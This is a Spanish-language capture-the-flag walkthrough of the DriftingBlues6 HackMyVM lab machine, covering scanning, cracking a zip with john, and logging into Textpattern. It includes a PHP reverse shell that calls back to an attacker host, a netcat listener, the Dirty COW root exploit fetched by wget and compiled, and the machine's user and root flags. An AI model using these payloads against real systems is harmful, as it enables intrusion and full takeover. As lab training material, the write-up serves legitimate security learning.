Driftingblues6 HackMyVM (Easy- Linux)
Escaneo de puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>
Info:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-09 02:56 EDT
Nmap scan report for 192.168.1.171
Host is up (0.00040s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.22 ((Debian))
|_http-server-header: Apache/2.2.22 (Debian)
|_http-title: driftingblues
| http-robots.txt: 1 disallowed entry
|_/textpattern/textpattern
MAC Address: 08:00:27:81:73:9F (Oracle VirtualBox virtual NIC)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.45 seconds
Veremos una pagina web alojada en el puerto 80
y si entramos dentro no veremos gran cosa, pero si probamos a ir al robots.txt
veremos que si esta alojado y veremos lo siguiente:
User-agent: *
Disallow: /textpattern/textpattern
dont forget to add .zip extension to your dir-brute
;)
Veremos que hay una ruta en:
URL = http://<IP>/textpattern/textpattern
Si entramos aqui veremos que hay un login
viendo lo siguiente:

Pero nos tendremos las credenciales para poder ingresar, por lo que vamos a seguir buscando, haciendo un poco de fuzzing
ya que anteriormente nos comento que pusieramos la extension .zip
, por lo que vamos a hacerlo.
Gobuster
gobuster dir -u http://<IP>/ -w <WORDLIST> -x html,php,txt,zip -t 100 -k -r
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.171/
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt,zip
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 286]
/.php (Status: 403) [Size: 285]
/index.html (Status: 200) [Size: 750]
/index (Status: 200) [Size: 750]
/db (Status: 200) [Size: 53656]
/robots (Status: 200) [Size: 110]
/robots.txt (Status: 200) [Size: 110]
/spammer.zip (Status: 200) [Size: 179]
/spammer (Status: 200) [Size: 179]
/.html (Status: 403) [Size: 286]
/.php (Status: 403) [Size: 285]
/server-status (Status: 403) [Size: 294]
Progress: 1102800 / 1102805 (100.00%)
===============================================================
Finished
===============================================================
Veremos un archivo interesante llamado /spammer.zip
y si entramos a dicho archivo nos lo descargara, por lo que vamos a intentar descomprimirlo.
unzip spammer.zip
Nos pedira una contraseña, por lo que vamos a intentar crackearlo
de la siguiente forma:
zip2john spammer.zip > hash.zip
john --wordlist=<WORDLIST> hash.zip
Info:
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
myspace4 (spammer.zip/creds.txt)
1g 0:00:00:00 DONE (2025-04-09 03:16) 33.33g/s 682666p/s 682666c/s 682666C/s christal..michelle4
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Veremos que ha funcionado y obtendremos la contraseña para poder descomprimirlo myspace4
:
unzip spammer.zip
Metemos como contraseña myspace4
y veremos que nos ha descomprimido un archivo llamado creds.txt
.
cat creds.txt
Info:
mayer:lionheart
Puede ser que sean credenciales para el login
que nos encontramos anteriormente, por lo que vamos a probar a meterlas.
Veremos que si nos deja y estaremos dentro del panel, pero si vemos que version de software
tiene este programa, veremos lo siguiente:

Vamos a probar a buscar un exploit
para ver si esta version es vulnerable.
Si buscamos un poco veremos que si hay una vulnerabilidad
asociada a dicho software
, la cosa es que hay que esta autenticado
para realizar dicho exploit
y como lo estamos pues podremos explotarlo.
URL = ExploitDB RCE Textpattern CMS
Vemos que en el codigo la seccion vulnerable es en la subida de archivos, nos tendremos que ir Content
-> Files
, dentro de esta seccion subiremos un archivo que sera el siguiente:
shell.php
<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

Una vez que lo hayamos subido veremos lo siguiente:

Vemos que se ha subido de forma correcta, por lo que nos vamos a poner a la escucha de la siguiente forma:
nc -lvnp <PORT>
Ahora en la pagina nos iremos a la siguiente ruta donde se alojan todos estos archivos:
URL = http://<IP>/textpattern/files/
Y veremos que esta el archivo que hemos subido:

Ahora si clicamos en shell.php
y si volvemos a la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.1.146] from (UNKNOWN) [192.168.1.171] 44902
whoami
www-data
Veremos que ha funcionado, por lo que vamos a sanitizar la shell
.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate Privileges
Si vemos la version del kernel
veremos lo siguiente:
uname -r
Info:
3.2.0-4-amd64
Vamos a ver si fuera vulnerable al dirty cow
.
URL = ExploitDB Vuln Kernel Dirty Cow
Veremos que si es vulnerable, por lo que vamos a descargarnos el archivo .c
y nos lo pasaremos a la maquina victima para compilarlo ya que tenemos el gcc
instalado tambien.
python3 -m http.server 8000
En la maquina victima nos lo descargaremos:
cd /tmp
wget http://<IP>:8000/40839.c
Una vez que nos lo hayamos descargado ejecutaremos lo siguiente:
gcc -pthread 40839.c -o dirty -lcrypt
Una vez compilado, lo ejecutaremos de la siguiente forma proporcionando la contraseña que queramos.
./dirty 1234
Info:
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: 1234
Complete line:
firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash
mmap: 7f4781448000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '1234'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
www-data@driftingblues:/tmp$ madvise 0
Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '1234'.
DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
Veremos que se ha realizado de forma correcta, por lo que haremos lo siguiente:
su firefart
Metemos como contraseña 1234
y veremos que seremos dicho usuario.
whoami
whoami
firefart
firefart@driftingblues:/var/www/textpattern/files# id
id
uid=0(firefart) gid=0(root) groups=0(root)
Veremos que ya tendremos los privilegios de root
directamente ya que es una vulnerabilidad de kernel
y todo se ejecuta con privilegios elevados, por lo que leeremos las flags
de usuario y root
.
user.txt
5355B03AF00225CFB210AE9CA8931E51
root.txt
CCAD89B795EE7BCF7BBAD5A46F40F488
Last updated